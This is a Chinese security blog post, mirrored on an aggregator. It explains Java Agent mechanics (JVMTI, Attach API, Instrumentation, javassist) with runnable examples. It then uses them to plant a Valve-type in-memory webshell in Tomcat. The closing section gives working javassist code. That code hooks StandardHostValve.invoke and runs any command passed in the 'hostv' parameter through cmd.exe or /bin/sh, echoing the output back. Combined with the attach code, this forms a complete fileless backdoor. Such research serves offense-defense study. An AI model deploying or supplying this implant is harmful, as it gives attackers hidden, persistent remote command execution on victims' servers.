

通过Agent注入Valve型内存马
source link: https://tyskill.github.io/posts/javaagenttovalveshell/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一些机制的介绍
JVMTI/JVM Tool Interface
JVMTI:Java虚拟机对外提供的Native编程接口,通过JVMTI,外部进程可以获取到运行时JVM的诸多信息,比如线程、GC等。
Agent:Agent是一个运行在目标JVM的特定程序,它的职责是负责从目标JVM中获取数据,然后将数据传递给外部进程。
Attach API
根据官方文档所述,Attach API是一个扩展,其提供了与JVM连接的一种机制,通过这种机制可以将agent加载进JVM动态执行一个代理程序。
主要类:(AttachPermission类需要开启SecurityManager选项)
- VirtualMachine:表示JVM,提供了 JVM 枚举,
Attach
操作(连接JVM)和Detach
操作(从JVM上面解除一个代理)等 - VirtualMachineDescriptor:描述虚拟机的容器类,配合
VirtualMachine
类完成各种功能
主要方法:(前提是获得JVM的reference,即成功attach)
- loadAgent:加载通过Java编写且以jar包格式表示的agent程序
- loadAgentLibrary:加载动态链接库中的agent程序,可以通过Java运行参数
agentlib
指定(常见的Java远程调试命令就有它的参与) - loadAgentPath:加载静态路径下的agent程序,可以通过参数
agentpath
指定
使用方式:
- VirtualMachine对象可以通过attach一个标识符连接到JVM来获得,而标识符常采用PID表示(agent要监控的Java程序的PID),因此连接方式就是
attach(PID)
;(PID可通过jps -l
列举) - 通过VirtualMachineDescriptor类指定JVM list中的JVM连接来获得VirtualMachine对象,这样的好处就是不需要寻找具体的PID,只要指定程序名即可(程序名为运行的项目名)
注:连接JVM需要tools.jar依赖,但是在Windows环境中该jar并不在classpath中,因此可以通过URLClassLoader引入,具体代码可参考浅谈 Java Agent 内存马@天下大木头,若只是本地尝试,直接IDEA添加进library即可
以下为无URLClassLoader版:
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String agentJar = args[0]; // agent程序,偷个懒也可以直接代码跑
System.out.println("your input:" + agentJar);
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 遍历所有reference
// System.out.println(vmd.displayName());
// 寻找agent监控的程序
if (vmd.displayName().endsWith("AttachAgent")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(agentJar); // 加载agent程序
virtualMachine.detach(); // 结束连接
}
}
System.out.println("it's over!");
}
}
Instrumentation
概述
介绍:Instrumentation是一个接口,在它的底层实现中存在一个JVMTI的代理程序,使其能够调用JVMTI提供的相关类实现动态修改字节码。
实现方式:
- 实现
premain
方法,在JVM启动前加载 - 实现
agentmain
方法,在JVM启动后加载
声明方式:(拥有Instrumentation类型参数的方法优先级更高)
// premain
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
// agentmain
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
部分方法说明
修改自javaagent使用指南:
//增加Class文件的转换器,转换器用于改变Class二进制流的数据,参数 canRetransform 设置是否允许重新转换
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
boolean isRetransformClassesSupported();
// 对JVM已经加载的类通过addTransformer方法注册的transformer重新处理一遍,然后将处理结果传入JVM作为重加载结果
// 该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名
// JDK6引入
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
boolean isRedefineClassesSupported();
// 对JVM已经加载的类重新触发类加载,但不会触发transformer,而是直接将参数中的byte-code传给JVM定义一个同名新类
// 通过传入的byte-code重新定义一个已存在的“新类”
// JDK5引入
void redefineClasses(ClassDefinition... definitions)
throws ClassNotFoundException, UnmodifiableClassException;
// 判断某个类是否能被修改
boolean isModifiableClass(Class<?> theClass);
// 获取所有已经加载的类
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
@SuppressWarnings("rawtypes")
Class[] getInitiatedClasses(ClassLoader loader);
//获取一个对象的大小
long getObjectSize(Object objectToSize);
void appendToBootstrapClassLoaderSearch(JarFile jarfile);
void appendToSystemClassLoaderSearch(JarFile jarfile);
boolean isNativeMethodPrefixSupported();
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);
ClassFileTransformer
介绍:ClassFileTransformer在运行时会拦截系统类和自己实现的类对象,此时可用于运行时修改字节码
byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
使用条件:agent实现该接口,然后覆写其transform方法来修改对象
使用示例
premain方法
条件:需要命令行启动参数
使用方法:
1、创建一个类并实现premain方法
import java.lang.instrument.Instrumentation;
public class AgentFirst {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("Do I load earlier than the method Main?");
}
}
2、在resources
目录下创建META-INF/MANIFEST.MF
,内容如下
Manifest-Version: 1.0
Premain-Class: AgentFirst(类地址,需要加上package名)
(此处要多一行)
1. 选择`Project Structure`->`Artifacts`->`JAR`->`From modules with dependencies`
2. 选择`Build`->`Build Artifacts`->`Build`
4、通过命令行启动参数指定javaagent执行上面一步的jar包
java -javaagent:agentLearn.jar -jar hello.jar
agentmain方法
1、创建一个类并实现agentmain方法
import java.lang.instrument.Instrumentation;
public class AgentAfter {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("Can you find where I am?:)");
}
}
2、resources
目录下创建META-INF/MANIFEST.MF
,内容如下
Manifest-Version: 1.0
Agent-Class: AgentAfter(类地址,需要加上package名)
Can-Redefine-Classes: true(某些场景下需要这两项配置)
Can-Retransform-Classes: true
(此处要多一行)
3、通过Attach API连接JVM,编写程序并打包(见上Attach API部分) 4、命令行启动
# agentLesson.jar 为代码中的 arg[0]
java -jar attachLearn.jar "agentLesson.jar"
javassist
概述
项目地址:https://github.com/jboss-javassist/javassist
changelog:
两个级别的API:
- 源级:可以编辑类文件;可以以源文本的形式指定插入的字节码
- 字节码级:允许用户直接编辑类文件
常见使用类
ClassPool
介绍:存放CtClass
对象的容器
获得方法: ClassPool cp = ClassPool.getDefault();
注:通过 ClassPool.getDefault()
获取的ClassPool
使用 JVM 的类搜索路径。如果程序运行在 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径。
添加类搜索路径:cp.insertClassPath(new ClassClassPath(<Class>));
CtClass
介绍:ClassPool中的Class对象
获得方法:CtClass cc = cp.get(ClassName)
调用get方法时将搜索表示的各种源ClassPath
以查找类文件,然后创建一个CtClass
表示该类文件的对象
CtMethod
介绍:ClassPool中的Method对象,其方法可用来修改方法体
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)
内部定义方法:
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}
// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);
// 插入在方法体最前面
public void insertBefore(String src);
// 插入在方法体最后面, return之前
public void insertAfter(String src);
// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);
}
参数要求:String对象是Javassist的编译器编译的,由于编译器支持语言扩展,以$
开头的几个标识符有特殊的含义
符号 含义
$0
, $1
, $2
, ...
$0 = this; $1 = args[1] .....
$args
方法参数数组.它的类型为 Object[]
$$
所有实参。例如, m($$)
等价于 m($1,$2,
...)
$cflow(...)
cflow
变量
$r
返回结果的类型,用于强制类型转换
$w
包装器类型,用于强制类型转换
$_
返回值
$sig
类型为 java.lang.Class
的参数类型数组
$type
一个 java.lang.Class
对象,表示返回值类型
$class
一个 java.lang.Class
对象,表示当前正在修改的类
CtField
CtField cf = cc.getDeclaredField("serialVersionUID"); // 查找指定字段
使用--本地修改
1、编写一段打印hello world的程序
// Hello.java
package com.tyskill;
public class Hello {
public void hello() {
System.out.println("Hello World!!!");
}
}
2、通过javassist编写代码修改上述方法体
// AgentDemo.java
package com.tyskill;
import javassist.*;
public class AgentDemo {
public static void main(String[] args) throws Exception {
// javassist修改方法体
try {
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Hello.class));
CtClass clazz =cp.get("com.tyskill.Hello"); // 获取修改目标类
CtMethod cMethod = clazz.getDeclaredMethod("hello"); // 获取修改目标方法
String mBody = "{System.out.println(\"hello transformer\");}"; // 修改内容
cMethod.setBody(mBody); // 设置内容
// 必须要通过其他ClassLoader加载Hello类,否则会引起冲突导致无法编译通过
Loader classLoader = new Loader(cp); //Javassist 提供的 Classloader
Class clazz2 = classLoader.loadClass("com.tyskill.Hello");
clazz2.getDeclaredMethod("hello").invoke(clazz2.newInstance());
} catch (NotFoundException | CannotCompileException e) {
e.printStackTrace();
}
}
}
agent+javassist实践
agent+retransformClasses
1、编写一段打印hello world的程序,打包
// agentLesson.java
import java.util.Scanner;
public class agentLesson {
public static void main(String[] args) {
Hello h1 = new Hello();
h1.hello();
Scanner input = new Scanner(System.in); // 维持程序运行
input.next();
// 重新实例化
Hello h2 = new Hello();
h2.hello();
}
}
// Hello.java
class Hello {
public void hello() {
System.out.println("Hello World!!!");
}
}
2、通过javassist编写代码修改上述方法体,打包
注:Windows下发现无法直接加载javassist依赖,因此需要通过URLClassLoader+反射的方式动态加载
javassist.jar
来实现字节码修改,但这样需要额外产生一个文件落地,并且也很麻烦,所以我们可以仿照https://github.com/ethushiroha/JavaAgentTools,直接集成javassist(Javassist 3.21.0-GA及之前只支持jdk8及低版本jdk,因此若使用jdk8编译时后续版本会无法成功)
// javassist包复制粘贴
// AgentDemo.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
System.out.println("[+] do agentmain...");
Class[] classes = inst.getAllLoadedClasses();
for (Class clazz: classes) {
// System.out.println(loadClass.getName());
if(clazz.getName().equals(EditClassName)) { // 待修改的类
System.out.println("[+] find the object successfully...");
// 添加转换器
inst.addTransformer(new TransformerTpl(EditClassName, EditMethodName, EditMethodBody), true);
// 更新类
inst.retransformClasses(clazz);
}
}
}
}
// TransformerDemo.java
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TransformerDemo implements ClassFileTransformer {
// 只需要修改这里就能修改别的函数
public String editClassName = "";
public String editClassName2 = "";
public String editMethodName = "";
public String editMethodBody = "";
public TransformerTpl(String editClassName, String editMethodName, String editMethodBody) {
this.editClassName = editClassName;
this.editClassName2 = editClassName.replace('/', '.');
this.editMethodName = editMethodName;
this.editMethodBody = editMethodBody;
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
// 只修改目标类
if (className.equals(this.editClassName)) {
System.out.println("[+] Instrumentation...");
try {
ClassPool cp = ClassPool.getDefault();
// 解决找不到目标类的问题
if (classBeingRedefined != null) {
System.out.println("[-] can't find the target");
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
System.out.println("[+] add the target to classpath");
}
System.out.println("[!] modify the class: " + this.editClassName);
CtClass ctClass = cp.getCtClass(this.editClassName); // 获取目标类
CtMethod ctMethod = ctClass.getDeclaredMethod(this.editMethodName); // 获取目标方法
// 方法开头插入内容
ctMethod.insertBefore(this.editMethodBody);
// 方法末尾插入内容
// ctMethod.insertAfter(this.editMethodBody, true);
// ctMethod.setBody(this.editMethodBody); // 修改内容
byte[] bytes = ctClass.toBytecode(); // 获得修改后类的字节码
ctClass.detach(); // 将该class从ClassPool中删除, 清除对象缓存
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return null; // 返回null表示不做出任何修改
}
}
3、连接JVM执行agent程序修改字节码:
注:该代码可以与上面代码在同一个项目中,也可以另外新建一个项目去运行
// VmConn.java
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class VmConn {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String agentJar = "Agent.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 遍历所有reference
// System.out.println(vmd.displayName());
// 寻找到agent监控的程序,此处就通过自身来代替,因为也不需要修改什么
if (vmd.displayName().endsWith("agentLesson.jar")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(agentJar); // 加载agent程序
virtualMachine.detach(); // 结束连接
}
}
System.out.println("it's over!");
}
}
4、输入后继续执行第一步的程序,修改成功
agent+redefineClasses
PS:感觉这种方式有助于清除内存马,所以记录一下使用方式
使用:其他步骤差不多,就只记录不同的地方
- 定义用于替换原类的Hello类,编译获得class文件:
public class Hello {
public void hello() {
System.out.println("I'm handsome!hhh!!!");
}
}
- 修改agent
// Hello.java--用于ClassDefinition类参数一
public class Hello {}
// AgentDemo.java
public class AgentDemo {
public static Instrumentation INST = null;
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, IOException, ClassNotFoundException {
INST = inst;
process();
}
public static void process() throws UnmodifiableClassException, IOException, ClassNotFoundException {
Class[] classes = INST.getAllLoadedClasses();
for (Class clazz: classes) {
// System.out.println(loadClass.getName());
if(clazz.getName().equals("Hello")) { // 待修改的类
System.out.println("[+] find the object successfully...");
Path path = Paths.get("Hello.class");
byte[] data = Files.readAllBytes(path); // 获得redefineClass字节码
INST.redefineClasses(new ClassDefinition(Hello.class, data)); // 重新定义Hello类
}
}
}
}
动态修改Valve关键对象
理论说完,实践开始。既然agent技术可以在运行时修改类字节码,那么就可以用于内存马的植入,且这种植入是修改已存在处理类而非添加新处理类的效果,网上大部分都是Filter型的agent实现,为了抑制自己的CV欲望,就搞一下Valve型的agent实现吧。
首先什么是Valve型内存马呢?tomcat的容器组件间采取的是责任链模式,每个子容器之间通过pipeline传递通信,而pipeline内使用valve(阀门)来处理当前子容器内的请求,每次请求都会触发Valve对象的invoke方法对请求进行处理。常见的Valve对象有不少,不过主要的还是几个子容器的Valve对象:StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve,因此我们可以选择这几个类来进行修改。
以StandardHostValve为例,看一下invoke的格式:
public final void invoke(Request request, Response response) throws IOException, ServletException {...}
直接就提供了Request对象,这样也不需要再通过其他手段来获取了,可以直接进行修改
注:javassist插入方法体中参数需要通过
${id}
的格式来指定参数(见上述CtMethod内容),也可以通过定义同一个类型的变量来保存参数
修改代码上面都给了,这里就简单列一下具体的参数吧
private final static String EditClassName = "org.apache.catalina.core.StandardHostValve";
private final static String EditMethodName = "invoke";
private final static String EditMethodBody = " try {" +
" org.apache.catalina.connector.Request req = $1;\n" +
" org.apache.catalina.connector.Response resp = $2;\n" +
" if (req.getParameter(\"hostv\") != null) {\n" +
" String paramm = req.getParameter(\"hostv\");\n" +
" String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\",\n" +
" \"/c\", paramm} : new String[]{\"/bin/sh\", \"-c\", paramm};\n" +
" java.io.InputStream in = (new ProcessBuilder(cmds)).start().getInputStream();\n" +
" java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\A\");\n" +
" String o = s.hasNext() ? s.next() : \"\";\n" +
" resp.getOutputStream().print(o);\n" +
" resp.getOutputStream().flush();\n" +
" resp.getOutputStream().close();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }";
效果如下:
踩坑记录
问题:在内存马中调用response.getWrite()
方法回显结果会导致Spring后续渲染view时出现无法调用response.getWrite()
方法的异常,此时也无法正常显示执行结果
解决方法:使用resp.getOutputStream()
替代
注:这种方法在Windows下会出现一些命令执行结果由于编码问题无法回显的问题,并且控制台会出现报错,查到的解决办法是使用writer替换。emmm,这算不算是悖论
总结
概念:
- JVMTI提供外部获取JVM状态的编程接口;
- Agent是一个运行在目标JVM的特定程序,负责从JVM获取数据并传递到外部进程中;
- Attach API提供Java程序代理连接到JVM的机制;
- Instrumentation提供Java程序代理动态修改字节码的能力;
- javassist是Java中编辑字节码的类库(非原生),使Java程序能够在运行时修改类字节码
Reference
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK